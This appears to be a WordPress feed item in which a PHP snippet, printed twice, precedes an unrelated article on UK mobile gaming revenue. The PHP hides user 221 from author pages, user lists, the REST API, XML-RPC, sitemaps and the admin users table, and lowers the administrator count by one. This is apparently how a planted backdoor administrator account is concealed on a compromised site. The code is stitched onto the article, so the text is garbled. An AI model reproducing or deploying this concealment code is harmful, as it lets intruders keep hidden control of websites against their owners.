add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 221;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
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    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 221 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 221 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 221;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 221;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 221;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/221(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 221;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-221{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
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} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 221;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
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    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 221 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 221 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 221;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 221;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 221;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/221(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 221;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-221{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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										<content:encoded><![CDATA[<p>The UK&#8217;s online entertainment landscape has undergone a seismic shift over the past decade. Smartphones have become ubiquitous, and the mobile gaming market has exploded as a result. According to the Entertainment Retailers Association, mobile gaming revenue in the UK reached a staggering £1.6 billion in 2020, accounting for nearly half of the total gaming market. It&#8217;s a testament to the power of mobile gaming, which has revolutionized the way people consume entertainment.</p>
<h2 id="a-brief-history-of-mobile-gaming-in-the-uk">A Brief History of Mobile Gaming in the UK</h2>
<p>Mobile gaming in the UK has its roots in the early 2000s, when simple games like Snake and Tetris were all the rage among mobile phone users. However, it wasn&#8217;t until the release of the iPhone in 2007 that mobile gaming began to gain mainstream acceptance. The App Store, launched in 2008, provided a platform for developers to create and distribute mobile games, leading to a surge in the number of available titles. Today, there are over 100,000 mobile games available on the App Store and Google Play, catering to a vast and diverse range of tastes and preferences.</p>
<h2 id="the-rise-of-free-to-play-games">The Rise of Free-to-Play Games</h2>
<p>Free-to-play (F2P) games have been instrumental in driving the growth of the mobile gaming market in the UK. Games like Candy Crush Saga and Clash of Clans have become household names, with millions of players worldwide. These games have a unique appeal, with their low barrier to entry and promise of in-game rewards and upgrades drawing in casual gamers. Many F2P games also have social features, allowing players to compete with friends and join online communities, creating a sense of camaraderie and shared experience.</p>
<h2 id="the-impact-of-covid-19-on-mobile-gaming">The Impact of COVID-19 on Mobile Gaming</h2>
<p>The COVID-19 pandemic has had a profound impact on the UK&#8217;s mobile gaming market. With many people stuck at home, mobile gaming has become an essential form of entertainment. According to a survey by the UK&#8217;s Office for National Statistics, the number of people playing video games in the UK increased by 30% during the pandemic. Mobile gaming was a key beneficiary of this trend, with many people turning to their smartphones for entertainment and escapism.</p>
<h3 id="from-tattoos-to-gaming-finding-inspiration">From Tattoos to Gaming: Finding Inspiration</h3>
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<h2 id="the-future-of-mobile-gaming-in-the-uk">The Future of Mobile Gaming in the UK</h2>
<p>The UK&#8217;s mobile gaming market is poised for continued growth in the coming years, driven by advances in technology and changing consumer behavior. As 5G networks become more widespread, mobile gaming will become even more immersive and interactive, with the potential for new business models and revenue streams. The growing popularity of cloud gaming and game streaming services will further blur the lines between mobile and PC gaming, creating new opportunities for gamers and developers alike.</p>
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<h3>What is the current state of the UK&#8217;s mobile gaming market?</h3>
<p>The UK mobile gaming market has seen significant growth, with revenue reaching £1.6 billion in 2020 and accounting for nearly half of the total gaming market.</p>
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<h3>How has the UK online entertainment market changed due to mobile gaming?</h3>
<p>The rise of mobile gaming has led to a seismic shift in the UK online entertainment landscape, with mobile gaming now accounting for a significant share of the market.</p>
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